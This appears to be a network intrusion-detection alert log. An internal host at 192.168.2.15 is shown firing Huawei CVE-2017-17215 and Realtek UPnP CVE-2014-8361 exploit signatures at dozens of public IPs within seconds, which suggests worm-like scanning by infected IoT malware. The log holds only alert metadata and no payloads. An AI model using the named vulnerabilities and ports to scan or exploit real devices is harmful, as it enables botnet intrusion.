ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.179.58.161

Timestamp:	07/20/24-23:10:51.908570
SID:	2027339
Source Port:	51654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.57.99

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	51118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.174.153.88

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.64.254

Timestamp:	07/20/24-23:11:03.365385
SID:	2829579
Source Port:	36018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.91.154

Timestamp:	07/20/24-23:10:39.430384
SID:	2835222
Source Port:	56722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.25.23

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	40180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 46.169.99.175

Timestamp:	07/20/24-23:10:43.924257
SID:	2025132
Source Port:	34458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.178.223.191

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	34624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.193.151.163

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	58394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 105.189.130.216

Timestamp:	07/20/24-23:10:47.832674
SID:	2025132
Source Port:	59700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.72.248

Timestamp:	07/20/24-23:10:46.750826
SID:	2829579
Source Port:	42560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.212.197.47

Timestamp:	07/20/24-23:11:06.680204
SID:	2835222
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 152.73.4.67

Timestamp:	07/20/24-23:10:48.599248
SID:	2025132
Source Port:	56388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.182.40.219

Timestamp:	07/20/24-23:10:40.601389
SID:	2835222
Source Port:	45588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 75.245.37.135

Timestamp:	07/20/24-23:10:39.425582
SID:	2835222
Source Port:	51212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.113.200.51

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	37900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.79.166.87

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 199.248.104.114

Timestamp:	07/20/24-23:10:43.431118
SID:	2027339
Source Port:	51614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.51.119.156

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	43920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 185.140.178.36

Timestamp:	07/20/24-23:10:52.021884
SID:	2831300
Source Port:	51888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 220.85.62.111

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	50838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.10.63.167

Timestamp:	07/20/24-23:10:59.029815
SID:	2829579
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.242.40.170

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	41686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 40.139.206.8

Timestamp:	07/20/24-23:10:51.902171
SID:	2027339
Source Port:	56176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 19.7.44.118

Timestamp:	07/20/24-23:10:51.971547
SID:	2831300
Source Port:	56434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.134.2

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	33588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 154.64.3.25

Timestamp:	07/20/24-23:10:39.076267
SID:	2025132
Source Port:	43930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.19.135.245

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	56346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.211.208.187

Timestamp:	07/20/24-23:10:40.123839
SID:	2027339
Source Port:	51758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.156.88

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	33750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 89.186.152.105

Timestamp:	07/20/24-23:10:40.163190
SID:	2027339
Source Port:	36584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 197.208.47.186

Timestamp:	07/20/24-23:10:39.171350
SID:	2025132
Source Port:	36118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 89.186.152.105

Timestamp:	07/20/24-23:10:42.661465
SID:	2831300
Source Port:	37488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.23.216

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 188.23.31.199

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	34600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.166.247

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	56810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 203.62.78.235

Timestamp:	07/20/24-23:10:42.636830
SID:	2831300
Source Port:	54778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.177.209.62

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	40718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.121.92.152

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	55608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 203.235.22.121

Timestamp:	07/20/24-23:10:43.634330
SID:	2025132
Source Port:	37436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 99.118.106.29

Timestamp:	07/20/24-23:10:43.056421
SID:	2025132
Source Port:	41928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 24.231.54.99

Timestamp:	07/20/24-23:10:39.109562
SID:	2027339
Source Port:	58256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 159.255.12.160

Timestamp:	07/20/24-23:10:52.047769
SID:	2027339
Source Port:	51812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.233.88

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	42906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 34.33.224.36

Timestamp:	07/20/24-23:10:44.023623
SID:	2025132
Source Port:	39924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 75.64.8.241

Timestamp:	07/20/24-23:10:47.680519
SID:	2027339
Source Port:	55306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 185.59.206.11

Timestamp:	07/20/24-23:10:39.674300
SID:	2025132
Source Port:	55596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.115.194.74

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	48808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 85.126.23.91

Timestamp:	07/20/24-23:10:42.636108
SID:	2027339
Source Port:	51780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.245.71.93

Timestamp:	07/20/24-23:10:52.581034
SID:	2829579
Source Port:	38496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 107.205.165.229

Timestamp:	07/20/24-23:10:39.654317
SID:	2025132
Source Port:	59330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 167.80.147.223

Timestamp:	07/20/24-23:10:51.915099
SID:	2831300
Source Port:	53102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 104.126.44.136

Timestamp:	07/20/24-23:10:39.383138
SID:	2025132
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 209.99.231.53

Timestamp:	07/20/24-23:10:42.621194
SID:	2831300
Source Port:	49362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.14.80.20

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	50642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.123.246.44

Timestamp:	07/20/24-23:10:59.067929
SID:	2829579
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 116.188.33.5

Timestamp:	07/20/24-23:10:45.529756
SID:	2025132
Source Port:	42408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.208.193.169

Timestamp:	07/20/24-23:11:03.378465
SID:	2829579
Source Port:	35240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 116.208.181.41

Timestamp:	07/20/24-23:10:51.983127
SID:	2831300
Source Port:	56518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.239.248.79

Timestamp:	07/20/24-23:10:39.093478
SID:	2027339
Source Port:	45158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 172.149.150.175

Timestamp:	07/20/24-23:10:43.788026
SID:	2027339
Source Port:	45712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.222.177.45

Timestamp:	07/20/24-23:10:39.438615
SID:	2835222
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.206.73

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	47154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 152.185.119.107

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	42362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.110.230.85

Timestamp:	07/20/24-23:11:03.378465
SID:	2829579
Source Port:	55330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.126.18.168

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	50632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.102.55.155

Timestamp:	07/20/24-23:10:45.853008
SID:	2027339
Source Port:	54332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.68.95.71

Timestamp:	07/20/24-23:10:52.547373
SID:	2835222
Source Port:	33626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.45.87.85

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	47368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 110.195.69.132

Timestamp:	07/20/24-23:10:47.968210
SID:	2025132
Source Port:	51050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.159.94.26

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	56144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 178.162.187.51

Timestamp:	07/20/24-23:10:48.347448
SID:	2025132
Source Port:	45352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.216.156

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.236.107.173

Timestamp:	07/20/24-23:11:03.361259
SID:	2829579
Source Port:	52592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.71.112

Timestamp:	07/20/24-23:11:03.381593
SID:	2835222
Source Port:	36082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.148.101

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	51986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.137.5.97

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	33158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.165.202

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	55836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.147.52.26

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	43948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.246.232.48

Timestamp:	07/20/24-23:10:52.598915
SID:	2835222
Source Port:	36828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 210.38.21.59

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.219.178

Timestamp:	07/20/24-23:10:52.578509
SID:	2835222
Source Port:	59628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.96.150

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	42690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.244.120.88

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	60874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.177.32.57

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	38992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.150.64.194

Timestamp:	07/20/24-23:10:51.961780
SID:	2027339
Source Port:	45786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 77.241.200.75

Timestamp:	07/20/24-23:10:51.940556
SID:	2831300
Source Port:	53588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.206.241.145

Timestamp:	07/20/24-23:10:51.905303
SID:	2027339
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 115.217.213.84

Timestamp:	07/20/24-23:10:51.926807
SID:	2027339
Source Port:	37928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.127.58

Timestamp:	07/20/24-23:10:39.493966
SID:	2835222
Source Port:	48076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.38.222.42

Timestamp:	07/20/24-23:10:51.944865
SID:	2027339
Source Port:	56360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.88.30.221

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	46666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.28.210

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	60362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 143.57.33.34

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.164.37.122

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	49030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.254.73.0

Timestamp:	07/20/24-23:10:46.836862
SID:	2829579
Source Port:	58632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 199.155.57.115

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	38852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 46.85.247.68

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	59504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.217.23.6

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	45528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.118.113.203

Timestamp:	07/20/24-23:10:41.223524
SID:	2829579
Source Port:	40214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.72.19.180

Timestamp:	07/20/24-23:10:47.587819
SID:	2027339
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

